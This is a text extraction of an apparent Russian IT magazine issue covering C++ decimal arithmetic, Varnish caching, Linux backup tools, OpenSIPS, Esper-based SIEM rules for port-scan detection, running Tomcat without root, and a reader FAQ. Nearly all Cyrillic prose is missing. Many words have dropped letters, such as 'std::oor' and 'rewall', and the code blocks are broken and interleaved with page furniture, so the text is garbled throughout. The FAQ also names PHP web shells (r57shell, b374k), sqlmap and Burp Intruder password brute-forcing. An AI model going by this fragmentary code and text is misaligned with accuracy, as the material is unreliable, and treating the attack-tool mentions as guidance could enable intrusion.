0 <= a2, b2, c1,2, c1,2 < 109;
sa,c = sign(a), sign(c)
0 <= a1, 1 < MAX_INT64 / 109
:
b2*c1
b2*c2
b2*d1
b2*d2
|
|
|
|
,
. A11 = a1 * c1 MAX_INT64 / 1018, : A12 = a1 * c2 A21 = a2 * c1
MAX_INT64 / 109. ,
:
01 /192/ 2015
,
.
x1
x1.
,
y = x1 = 1/(a + b * 1018)
= c + d * 1018
x.
x (
),
.
a = 0, :
y = 1 / (b * 1018) = 1018 / b,
e = 1018 div b,
f = 1018 mod b;
b = 0, a = 1, y = e = 1, f = 0;
ec b = 0, a > 1, :
y = 1 / a,
e = 0, f = 1018 div a.
, x
,
:
a > 1, b != 0, :
y = 1 / (a + b * 1018) < 1,
e = 0,
f = 1018 / (a + b * 1018).
10,
a, :
01 /192/ 2015
113
, , !
,
.
0 18 , , .
, float
double decimal.
decimal::decimal(double value)
: m_integral(static_cast<int64_t>(std::oor(value))
m_fractional(static_cast<int64_t>(std::oor(
(value - m_integral) * 1018 + 0.5))
{
normalize();
}
void decimal::normalize()
{
uint64_t tail = m_fractional % 103;
if (tail)
{
if (tail > 103/2)
m_fractional += 103 - tail;
else
m_fractional -= tail;
GITHUB
}
}
103 , ,
, double
decimal,
.
, 1018-15
.
, .
double
decimal. ,
, double
int64_t,
decimal
.
float , :
1018-7 = 1011.
decimal , m_integral.
m_integral, m_
fractional.
decimal double float :
, !
, C/C++ . ,
Python C#, 1518
, .
decimal , int64_t. ,
double float
, .
,
decimal .
, .
, .
double float,
, . , , ,
, .
, !
Unixoid
114
01 /192/ 2015
Syaheir Azizan@shutterstock.com
urban.prankster
martin@synack.ru
VARNISH
01 /192/ 2015
115
,
-. ,
,
nginx/lighttpd
-. Squid, ,
. Varnish.
Varnish (varnish-cache.org) (reverse) - HTTP.
. ,
,
; , -
. . Varnish
Verdens
116
Unixoid
Windows.
.
4.0
,
. Varnish ESI (Edge Side Includes),
-
. . Varnish .
(, ) . , ,
. Varnish ,
, .
Squid,
, Varnish HTTP
.
(FTP, SMTP
),
- (Varnish
). , .
Varnish Configuration
Language (VCL) ,
.
(
),
. . VCL
,
,
,
. ( , ),
(rewrite) . , -
01 /192/ 2015
HTTP- , . (round
robin, random DNS, Client IP).
, VMOD (Varnish MODules).
, .
(varnish-cache.org/vmods) ,
.
Varnish
-,
Facebook, Twitter, Vimeo Tumblr.
VARNISH
Varnish
x64- Linux, FreeBSD Solaris.
( EPEL Ubuntu
Universe) Linux *BSD.
Red Hat, Debian, Ubuntu FreeBSD. , .
Windows ( Cygwin),
*nix- . Varnish
3.x 4.x, , 3.x
2015 . , ,
(, 3- , 2011-,
),
. Varnish - .
, - (nginx, lighttpd),
. Varnish HTTP-, . Varnish
.
Varnish Ubuntu 14.04 LTS Apache.
.
/etc/default/
varnish
01 /192/ 2015
117
START=yes
#
( ulimit -n)
NFILES=131072
#
, , , Varnish
, . VCL, . ,
, , , . VCL ,
, : , , . ,
. , Varnish Book
(varnish-software.com/static/book). -
default.vcl
(github.com/mattiasgeniar/
varnish-3.0-configuration-templates)
, . VCL.
Varnish
HTTP- (). :
backend server1 {
.host = "10.0.0.11";
}
backend server2 {
.host = "10.0.0.12";
}
,
.
, Varnish
director:
118
Unixoid
01 /192/ 2015
sub vcl_recv {
set req.backend = apache
if (req.url ~
"\.(css|js|png|gif|jp(e)?g)")
{
unset req.http.cookie;
}
return (lookup);
if (req.url ~ "^/(cron|install)\.
php$" && !client.ip ~
local)
{
error 404 "Page not found.";
}
if (req.url ~ "^/update\.php$"
return (pass);
}
}
().
,
.
- ,
-,
(
, ).
.
VCL Basics
(varnish-software.com/static/book/VCL_Basics.
html),
(varnish-cache.org/docs).
ACL
URL
.
, .
acl local {
"localhost";
"192.168.1.0"/24;
! "192.168.1.10";
}
,
!, 192.168.1.10
. (client.ip ~ local).
vcl_recv
. , cookie, ,
.
Varnish
cookie. ,
cookie.
cron.php install.php
, , Varnish,
update.php .
varnishadm
, , , . req.http.User-Agent, / . : varnish-cache.org/
docs/trunk/users-guide/devicedetection.html.
return vcl_recv : lookup , pass
. , ,
,
.
, ,
.
, : deliver, fetch, hash,
pipe, error, restart, retry. vcl_hash
, . URL IP/ .
, , ,
. ,
ookie.
vcl_error , -.
. vcl_fetch, vcl_pass vcl_miss. 4.0
vcl_backend_fetch vcl_
backend_response, .
cookie
, .
sub vcl_backend_response {
if (bereq.url ~ "\.(png|gif|jpg)$") {
unset beresp.http.set-cookie;
set beresp.ttl = 1h;
}
}
vcl_deliver. , .
.
Varnish:
sub vcl_deliver {
remove resp.http.X-Varnish;
remove resp.http.X-Powered-By;
}
, , ,
.
VARNISH
Varnish . , -
01 /192/ 2015
119
varnish*. Appendix A:
Varnish Programs Varnish Book.
varnishadm. , ,
. . :
Varnish
Administration Console
.
,
Varnish Plus.
. , Varnish,
Collectd, Nagios, Cacti . varnishcache.org/utilities.
Varnish Collectd
$ sudo varnishadm
Varnish CLI. , help.
(23),
. ,
help . , vcl.* -. :
varnish> vcl.list
param.show param.set , panic.show panic.
clear , ban ban.list , .
varnishtop varnishhist ,
(URL, , ).
top, .
, . , URL :
$ varnishtop -i RxUrl
$ varnishtop -i RxHeader
, (varnishstat)
(varnishlog varnishncsa).
varnishtest
Varnish. ,
, - Varnish
Administration Console (varnish-software.com/resources/vacdemo) , -
Varnish , .
.
.
.
Unixoid
01 /192/ 2015
,
LINUX
? *nix- ,
-. ,
... ?
rommanio@yandex.ru
agsandrew@shutterstock.com
120
01 /192/ 2015
121
( ), , :
, ( ) ? ,
. , , :
.
, , Cron *nix-
.
,
.
.
,
, , .
( ) .
, ,
.
. ,
, , , .
.
, , , .
- .
.
.
RSYNC RSNAPSHOT
rsync
(
/ ),
. :
SSH ( );
,
, ;
rsync
;
, .
INFO
,
.
,
, ,
,
.
:
-r ;
-l ;
-p (, UGO, ACL
-A -X );
-t mtime;
-o ( ,
, root);
-g ;
-D ;
-a , ( ACL
);
-v ;
-z ;
-e ssh ,
. , SSH , -e 'ssh -p3222';
--progress .
,
,
, .
.
,
( /
) . --fake-super,
( ). ,
rsync , .
ID --numeric-ids.
:
rsnapshot
122
Unixoid
01 /192/ 2015
list-current-files), - ,
restore --fileto-restore. :
$ duplicity restore
--encrypt-key 75E1A006
--le-to-restore 'Downloads'
sftp://adminuser
@leopard//home/adminuser/
backup /home/adminuser
/restore
Duplicity
, Duplicity
Deja-Dup.
,
, , , .
Duplicity
,
rsync/rsnapshot.
,
,
( , tar)...
Duplicity . ACL .
CEDAR BACKUP
Duplicity Deja-Dup
CD/DVD-,
Amazon S3. Cedar Backup
, Subversion,
PostgreSQL/MySQL,
... , , ,
CD/DVD-, ,
. Cedar Backup GPG, ,
- , .
,
.
, , , ,
/ , Master
( ). ,
. Cron, ,
, SSH.
, /
:
(Collect) , , (,
, ). Cedar Backup
. .
(Stage)
. - , Cedar Backup
.
. ,
01 /192/ 2015
, :
cback.collect.
(Store) . / (
) ,
.
(Purge) ,
.
XML- ,
:
<reference> ,
;
<options> , , , ,
, , , ,
, ;
<peers> .
<peer>, , (local, , , , remote), ,
;
<collect> Collect. (, ), ,
(tar, tar.gz tar.bz2), / ;
<stage> .
<staging_dir>,
, ;
<store> .
, ;
<purge> .
<retain_days>, , ;
<extensions> . , , ,
,
, , ,
-
. Bacula
-
123
, ,
- .
:
<cb_cong>
<reference>
<...>
</reference>
<options>
<starting_day>tuesday</starting_day>
<working_dir>/home/adminuser/
tmp</working_dir>
<backup_user>adminuser</backup_user>
<backup_group>adminuser</backup_group>
<rcp_command>/usr/bin/scp -B</rcp_command>
</options>
<peers>
<peer>
<name>debian</name>
<type>local</type>
<collect_dir>/home/adminuser/cback/
collect</collect_dir>
</peer>
</peers>
<collect>
<...>
<collect_mode>daily</collect_mode>
<archive_mode>targz</archive_mode>
<ignore_le>.cbignore</ignore_le>
<dir>
<abs_path>/home/adminuser/Docs</abs_path>
<collect_mode>incr</collect_mode>
</dir>
<le>
<abs_path>/home/adminuser/.prole
</abs_path>
<collect_mode>weekly</collect_mode>
</le>
</collect>
<stage>
<staging_dir>/home/adminuser/backup/
stage</staging_dir>
</stage>
<store>
<...>
</store>
<purge>
<dir>
<abs_path>/home/adminuser/backup/
stage</abs_path>
<retain_days>7</retain_days>
</dir>
<dir>
<...>
</dir>
</purge>
<extensions>
<action>
<name>encrypt</name>
<module>CedarBackup2.extend.encrypt
</module>
<function>executeAction</function>
<index>301</index>
</action>
</extensions>
<encrypt>
<encrypt_mode>gpg</encrypt_mode>
<encrypt_target>Backup User
</encrypt_target>
</encrypt>
</cb_cong>
, ,
(
124
Unixoid
), <encrypt>.
<encrypt_target>. .
cback, --full. Cron .
Cedar Backup , ,
CD- ( DVD-) : ,
.
,
.
Cedar Backup : .
,
,
.
01 /192/ 2015
1 10,
Write Bootstrap = "/var/db/bacula/home-backup.
bsr" # ,
}
:
Schedule {
Name = "Weekly-schedule"
Run = Level=Full mon at 18:00
Run = Level=Incremental tue-fri at 17:00
}
,
, .
, Bacula .
, Bacula
Cron, .
BACULA
Bacula Bacula, ,
PKI. , . ,
,
.
.
, :
Bacula .
Bacula Director
-, , ,
:
.
. Bacula :
CloudMe.com Bacula Console Bacula Director ,
. , . , 3 19 ,
( Web) .
,
WebDAV. ,
(MySQL, PostgreSQL SQLite),
,
.
150 .
.
Bacula
DriveHQ.com 1 ,
Storage Director , , WebDAV FTP. /
?
WebDAV -
.
SOHO-
50 ,
File Daemon
.
200 .
,
Name = "home_backup" #
, , Type = Backup #
Duplicity Deja-Dup.
(backup, restore, verify...)
Level = Full #
(
,
, (
),
)
, .
Client = backup-client #
,
FileSet = "bc-home-set" #
,
Bacula, Schedule = "Weekly-schedule" #
Storage = backup-storage #
,
*nix-
, ,
Messages = Daemon #
.
Pool = backup-client-pool #
,
Priority = 10 #
.
-, .
125
01 /192/ 2015
Everett Collection@shutterstock.com
SIP-
Asterisk, , , .
, . Asterisk?
SIP:
, SIP . , SIP Session Initiation
Protocol,
. . RTP. SIP SDP (Session
Description Protocol) , ,
, .
,
SIP/SDP RTP (, ,
) . , ( , ).
1. ,
SIP- INVITE, SDP RTP.
SIP- .
rommanio@yandex.ru
2. , SIP ,
SIP- TRYING ( INVITE ) RINGING,
RINGING. RINGING ,
, , .
3. , SIP- 200 OK.
SDP, ,
.
, ,
ACK.
4. RTP ,
SIP SIP- . .
5. SIP- BYE,
ACK.
.
126
Unixoid
01 /192/ 2015
SIP
.
UAC UAS User Agent Client User
Agent Server.
. SIP-
UAC, UAS.
SIP-
.
SIP-
UAC/UAS.
SIP- UAC/
UAS
.
,
,
SIP URI.
.
B2BUA
SIP-, .
OpenSIPS
(
,
.
SIP-). B2BUA
, B2BUA , ,
-B2BUA B2BUA- .
B2BUA , SIP-, ,
SIP-. ,
.
.
, . , SIP- .
SIP- stateless stateful.
iptables, ,
. ... Stateful SIP- , , INVITE ACK. Stateless-
.
, SIP- ( Asterisk,
) *nix-.
, ,
Kamailio OpenSIPS. , . OpenSIPS.
OPENSIPS
/etc/opensips/opensipsctlrc
SIP-:
SIP_DOMAIN=192.168.56.103
SIP- DNS , OpenSIPS, SIP- .
, ,
, .
DNS- NAPTR SRV.
-, , .
OpenSIPS (
/etc/opensips/opensips.cfg) :
, ,
, OpenSIPS , .
. , , tm
.
, .
OpenSIPS. SIP-, ( ) OpenSIPS, . ,
. , , - ,
.
.
,
osipsconfig, ,
, .
( ,
*nix-, C++). ,
:
OPENSIPS?
OpenSIPS
, ,
SIP- B2BUA. Asterisk , -, , OpenSIPS SIP ,
Asterisk, -, Asterisk ,
, SIP, .
, Asterisk .
OpenSIPS : (
) Asterisk, , SIP , ,
. ,
.
2.0, -
,
, .
, ,
1.11.3, , ,
LTS.
, :
WWW
#
,
OpenSIPS
listen=udp:192.168.56.103:5060
#
TCP TLS
disable_tcp=yes
disable_tls=yes
RFC 3261
,
SIP-:
https://www.ietf.org/rfc/
rfc3261.txt
mpath="/usr/lib/opensips/modules"
#
sl tm
loadmodule "sl.so"
loadmodule "tm.so"
01 /192/ 2015
127
tm
modparam("tm", "fr_timeout", 5)
modparam("tm", "fr_inv_timeout", 30)
modparam("tm", "restart_fr_on_each_reply", 0)
modparam("tm", "onreply_avp_mode", 1)
#
-
SIGNALING
loadmodule "signaling.so"
<...>
, .
sl, stateless. .
tm, stateful-,
. , :
fr_timeeout ( trying).
. , ,
. ;
fr_inv_timeout . - ,
. ;
restart_fr_on_each_reply , fr_timeout
, .
false, true;
onreply_avp_mode AVP
(Atribute-Value pair) Reply.
, 1 , AVP, , . ,
, .
osipsconfig, OpenSIPS
), ,
:
SIGNALING tm sl .
, , ,
.
main route block,
. ,
. , :
1. , .
2. ,
relay.
3. , , ,
- . ,
,
, main() , .
route (
), . :
branch_route
. , stateful-;
failure_route ( 300) ,
OpenSIPS. stateful;
onreply_route .
stateful
, - , stateless ,
;
error_route SIP.
,
( -
INFO
OpenSIPS
Web-GUI
OpenSIPS-CP.
#
route{
#
MaxForwards
.
,
483
.
,
mf_process_maxfwd_header()
,
, ,
10.
if (!mf_process_maxfwd_header("70")) {
sl_send_reply("483","Too Many Hops");
exit;
}
#
To,
,
- .
if (has_totag()) {
# OPTIONS,
,
.
,
,
.
if (is_method("OPTIONS") &&
uri==myself && (! uri=~"sip:.*[@]+.*")) {
options_reply();
exit;
}
#
,
,
. loose_
route()
(
), ,
,
(
).
if (loose_route()) {
#
,
. ,
,
, .
route(relay);
} else {
Unixoid
128
01 /192/ 2015
#
,
,
,
ACK,
,
.
if (is_method("ACK")) {
if ( t_check_trans() ) {
t_relay();
exit;
} else {
#
ACK
,
.
exit;
}
}
#
"404",
HTTP.
sl_send_reply("404","Not here");
}
exit;
.
if (is_method("REGISTER")) {
if (!save("location", "m")) {
sl_reply_error();
}
exit;
}
# lookup()
,
.
,
"404".
,
.
if (!lookup("location")) {
t_newtran();
t_reply("404", "Not Found");
exit;
}
route(relay);
}
#
.
# CANCEL
.
if (is_method("CANCEL")) {
if (t_check_trans()) {
t_relay();
}
exit;
}
# t_check_trans()
ACK,
CANCEL,
,
,
.
t_check_trans();
#
Route,
To (
ACK),
.
if (loose_route()) {
xlog("L_ERR",
"Attempt to route with preloaded Route's
[$fu/$tu/$ru/$ci]");
if (!is_method("ACK")) {
sl_send_reply("403",
"Preloaded Route denied");
}
}
#
,
Record-Route
SIP-
.
if (!is_method("REGISTER|MESSAGE")) {
record_route();
}
#
URI,
-
,
route(relay).
if (!uri==myself) {
route(relay);
}
#
presence (
) ,
.
PUBLISH SUBSCRIBE
if (is_method("PUBLISH|SUBSCRIBE")) {
sl_send_reply("503",
"Service Unavailable");
exit;
}
#
REGISTER.
,
.
,
}
#
relay,
.
route[relay] {
#
INVITE
,
, ,
,
.
if (is_method("INVITE")) {
t_on_failure("fail");
}
SEMS
OpenSIPS, Asterisk, SIP. , OpenSIPS
, , , , , , SEMS.
SEMS , SER ( OpenSIPS),
:
( ) ;
B2BUA/SBC (OpenSIPS , SEMS
);
.
Asterisk SIP-, , SEMS .
,
-
,
"500".
if (!t_relay()) {
send_reply("500",
"Internal Server Error");
}
}
# fail,
failure_route[fail] {
#
,
.
if (t_was_cancelled()) {
exit;
}
}
01 /192/ 2015
129
Linphone
OpenSIPS
Twinkle
# sudo opensips -C
OpenSIPS
/etc/default/opensips:
RUN_OPENSIPS=yes
:
,
. Linphone Twinkle.
(Linphone Preferences) Manage SIP
Accounts, Add. Your
SIP identity SIP- ( sip:_@SIP-), SIP Proxy address
( SIP-!) SIP-.
Twinkle .
Wizard .
. Linphone ,
Twinkle .
, , , , MI-:
OpenSIPS SIP
.
, , ,
,
-
,
.
, ,
, OpenSIPS,
, , , ,
OpenSIPS B2BUA.
Linphone
OpenSIPS
. , Twinkle
, .
SYN/ACK
01 /192/ 2015
bsploit@gmail.com
jooka5000@flicker.com
130
01 /192/ 2015
131
Esper
Esper, .
,
Elasticsearch Logstash Kibana.
}
public String getCompname() {return compname;}
public String getFile() {return le;}
public String getVirusname() {return virusname;}
}
2. , java.util.Map,
,
, :
INTRO
, , :
Esper ,
(),
. EPL (Event Processing Language),
SQL. , , , ,
:
3. ,
:
String[] rewallPropsNames =
{"src_ip", "src_port","dst_ip",
"dst_port","action"};
Object[] rewallpropsTypes =
{String.class,int.class,String.class,
int.class,String.class};
, , . Configuration
.
.
Esper
,
Java- . , .
Esper,
(goo.gl/jC2CJA) .
esper-5.1.0.jar, ,
esper\lib, Java- ( Eclipse
Libraries Add External
JARs).
EPServiceProviderManager.getDefaultProvider(), , , EPL ( ):
, . :
1. :
WWW
Esper:
www.espertech.com
- EPL-:
goo.gl/1z1buA
:
goo.gl/sDIuIo
rule.stop();
rule.start();
, Esper
.
EPRuntime
sendEvent, . , ,
:
132
SYN/ACK
01 /192/ 2015
, SQL-
60 ,
,
60 .
EPL-
:
() ,
addListener.
select src_ip,dst_ip,dst_port,isAllowed
from rewall.win:time(30 sec) as fw,
sql:mysql ['select case when exists
(select ip from scanAllowed
where ip=${src_ip}) then true
else false end as isAllowed']
as allowed where isAllowed=0
group by fw.src_ip
having count(distinct fw.dst_ip) > 50
output rst every 1 hour;
. ,
,
outer join:
select src_ip,dst_ip,dst_port,ip
from rewall.win:time(30 sec) as fw
left outer join sql:mysql ['select ip from
scanAllowed'] as allowed
on fw.src_ip=allowed.ip
where ip is null
group by fw.src_ip
having count(distinct fw.dst_ip) > 50
, ,
: DNS, Proxy, ,
.
. , ,
EPL- (
), , ,
Esper
JDBC-.
API.
. ConfigurationDBRef :
, , . .
INFO
Esper
jdbc,
Java-,
EPL,
.
01 /192/ 2015
133
Esper
EPL
. Esper
.
Log4j.
, log4j.xml log4j.
configuration (
,
esper\etc):
java -Dlog4j.
conguration=log4j.xml ...
EPL-
@Audit, :
@Audit('stream,property')
select src_ip,dst_ip,
dst_port from rewall
IP- ,
EPL-:
, . , stream
, ,
property . Esper .
, EPL-,
. :
engineCong.getEngineDefaults().getLogging().
setEnableQueryPlan(true);
SQL- :
engineCong.getEngineDefaults().getLogging().
setEnableJDBC(true);
, , , :
, , .
engineCong.addPlugInSingleRowFunction
("ipToInt", "MyEsperUtils", "ipToInt");
, EPL- wifi database:
select src_ip,dst_ip,action,src_net.
description,dst_net.description
from rewall as fw,
sql:mysql ['select description from ipplan
where ${ipToInt(src_ip)} between startaddr
and endaddr'] as src_net,
WARNING
,
Esper
.
LOGSTASH
,
, .
Elasticsearch Logstash
Kibana (ELK) (goo.gl/MHIeiG). Elasticsearch () ,
Kibana , Logstash .
,
134
SYN/ACK
01 /192/ 2015
//
Redis
List<String> events = jedisTake.blpop(0,input);
String event = events.get(1);
JSONObject eventJson = new JSONObject(event);
//
eventMap.put(key, value);
}
//
runtime.sendEvent(eventMap,type);
input . update,
JSON alerts:
SIEM. , , . ,
, Logstash ,
Elasticsearch.
Redis,
.
Redis :
input Logstash , JSON-.
;
alerts .
Esper ELK
ELK-
Logstash
Redis Elasticsearch, Kibana
.
, , Java-
Esper,
. Esper
Elasticsearch Logstash Kibana,
ELK- SIEM.
, (goo.gl/sDIuIo),
,
.
!
01 /192/ 2015
135
sgvozdetskiy@yahoo.com
APACHE
TOMCAT UNIX-
Apache Tomcat -,
,
-. , . UNIX Tomcat.
, root , root ,
. ,
*nix,
root- , ,
wheel. ,
. MS Windows,
,
.
, .
, , , .
, ,
. ,
, . , . ,
.
, . ,
,
,
.
, httpd
Apache, 2 apache. , , ,
. Apache
136
SYN/ACK
01 /192/ 2015
, .
.
1
Java- Tomcat,
. , ,
. .
( ) ,
- . ,
.
,
? ,
, ?
, . ,
,
/bin/su tomcat $CATALINA_HOME/bin/startup.sh. ,
tomcat, , , , Linux/UNIX? .
, , root. ? :
, .
root .
, ,
.
changelog .
,
root-.
.
, , , .
?
root httpd: ( Perl),
- DocumentRoot, SQL , . , :
1. httpd, MySQL, PostgreSQL
? : root- .
2. , ,
? . : , SUID
fork().
(. 1).
. master ,
nobody, ,
, ( 80). , ,
, (/), nobody .
.
(. 2).
, ? PPID.
: master PPID 1,
init, PPID = PID master-.
, ,
syslogd . ,
, , SIGHUP, reload
.1. nginx
. 2. nginx
, -
,
. SIGSTOP, (SIGCONT).
, ,
, root Tomcat.
, .
JSVC
WWW
:
goo.gl/DCQrsE
Tomcat:
goo.gl/30ZcSl
JVM:
goo.gl/yhrnVd
, ,
.
, ,
. .
.
*nix- , , , . ,
Solaris: pcred(1), UID
GID . , , , ,
.
,
.
01 /192/ 2015
137
, , fork().
, .
, . ,
, .
, ( , ),
,
. Linux
clone(2), . ( ) ,
, -. Java JVM, , , ,
root.
# chkcong: 345 73 21
# description: Tomcat super daemon
(. 3).
. 3.
Tomcat
$ su daemon
This account is currently not available.
$ ll /etc/init.d/tomcatd
lrwxrwxrwx 1 root root 30 Jun 26 13:38 /etc/
init.d/tomcatd -> /opt/tomcatd/bin/daemon.sh
CentOS, ,
chkconfig , :
$ head /etc/init.d/tomcatd
#!/bin/sh
- , .
catalina-daemon.out. , catalinadaemon.err.
, root, ,
daemon. , /sbin/nologin,
- , , .
Java-, UNIX, .
:
1. , fork(), .
2. Im ready, wait_child()
.
3. , nginx. Java-, , Tomcat,
.
140
FAQ
01 /192/ 2015
FAQ@REAL.XAKEP.RU
SSH Mosh. :
mosh root@server
Wi-Fi- SSH-,
- ?
, . Mosh. , root,
. :
SSH-,
, .
Wi-Fi ,
IP;
,
UDP predictive
echo;
Mosh
, .
<trl + C> ,
500- .
Zemond
3em0nd@gmail.com
arp-scan.
ARP-, . :
:
1. Mosh SSH
mosh-server, UDP- 60000 61000.
2. SSH-.
3. mosh-client mosh, 1.
, , tmux
,
.
IP MAC-
. ARP- .
arp-scan
. GUI Winff:
,
Ubuntu?
. ,
GUI. . :
Q
A
Avidemux
Avidemux:
, . , FFmpeg
(goo.gl/1fKyBo).
, ,
. ,
,
, , ,
. , , GUI
,
Avidemux.
,
FFmpeg ,
. Cinelerra, Jahshaka, Kdenlive, Kino
LiVES. , , ,
,
FFmpeg .
141
FAQ
01 /192/ 2015
r57shell,
( , , : goo.gl/PGjbll).
b374k shell (goo.gl/QVA90d) .
,
PHP, , . , .
memtester (goo.gl/qbqThx). . memtest86,
. Memtester ,
.
:
5 .
memtester 5g 1
Ubuntu Server. GUI, , ?
. megacli
(goo.gl/2DuuQL),
. ,
,
: goo.gl/hyvS8W.
. m , . , GPT. n, ,
, primary. , 1.
, w, . ,
, p. , . - , , , .
,
.
. , ext4.
fsck.ext4 /dev/sdX1
, GPT . ,
.
mkdir /disk1
.
:
, fstab.
, UUID. . UUID
blkid /dev/sdX1
UUID /etc/fstab:
nano /etc/fstab
.
fdisk. :
fdisk /dev/sdX
- :
UUID="a35db35e-d660-910a-478e-4927169bd09b"/disk1
ext4 defaults,noatime,nodiratime 0 0
FAQ
142
, ,
.
-, :
?
, ! , ,
(goo.gl/BSMLmS). ,
. exploit-db.com , .
Q
A
/etc/fstab , UUID
. ?
.
.
:
Q
A
ls -l /dev/disk/by-uuid
blkid (, , ).
,
sudo blkid
.
01 /192/ 2015
,
?
! ,
checkio.org.
Python.
,
, .
, Checkio
. , Learning
.
. Score
Games Single Player Game. , , . Competition Multi Player Game.
.
pythonchallenge.com.
, ,
? , CTF
Python.
,
Q
A
, ,
SQLMAP
-
,
. , . codecademy.com
, .
: <Ctrl + C> <Ctrl + V>.
?
,
<Shift + Ins>. ,
.
, : ...
:,
. , , .
- ,
<Ctrl +
V>. :
( ) EditPaste
<Ctrl + V>
.
- .
Q
A
,
pass.txt,
.
,
. ,
- .
Intruder Burp
Suite,
. , .
sniper, - :
WATCH DOGS
Watch dogs, ,
?
,
,
, sqlmap
- .
.
,
VDS 5
,
.
,
, ,
.
information gathering
,
,
.
, ,
.
,
,
.
/$aa$/pass.txt
, ,
, , . ,
Status, .
.
?
, , IPython
(ipython.org).
Python,
Q
A
01 /192/ 2015
, ,
. ,
(goo.gl/CLUfM3) : goo.
gl/TK6Vvw, IPython .
, IPython . - ,
- , . must have
.
,
,
.
?
, ,
. PCIe x.0, PCI
. , .
PCIe 2.0,
3- PCI .
,
.
Q
A
143
FAQ
, , , ,
.
. ,
, ,
, . -
. ,
, :
, , .
,
Wireshark?
, , tcpdump. ,
: , , , ,
.
-
Q
A
tcpdump
;
.
. ,
tcpdump -i eth0
, .
,
.
,
? .xakep.ru!
group
[!
WWW 2.0
144
01
UNSHORT.ME (unshort.me)
Unshort.me ,
. , bit.ly, goo.gl .
, URL ,
, , ,
. - (
), unshort.me.
Chrome, ,
.
IT Google
(www.google.com/edu/tools-and-solutions/guide-for-technicaldevelopment/index.html)
Google
IT . ,
(-, ,
, ,
). , .
, IT-.
03
RECAPTCHA MAILHIDE
(https://www.google.com/recaptcha/admin#mailhide)
Google API reCAPTCHA
,
Mailhide.
email,
HTML-,
.
. , Google ,
.
02
SKYPE (skype.com)
,
. -
- - ,
. ,
, ,
Skype. Chromebook,
.
email
-
04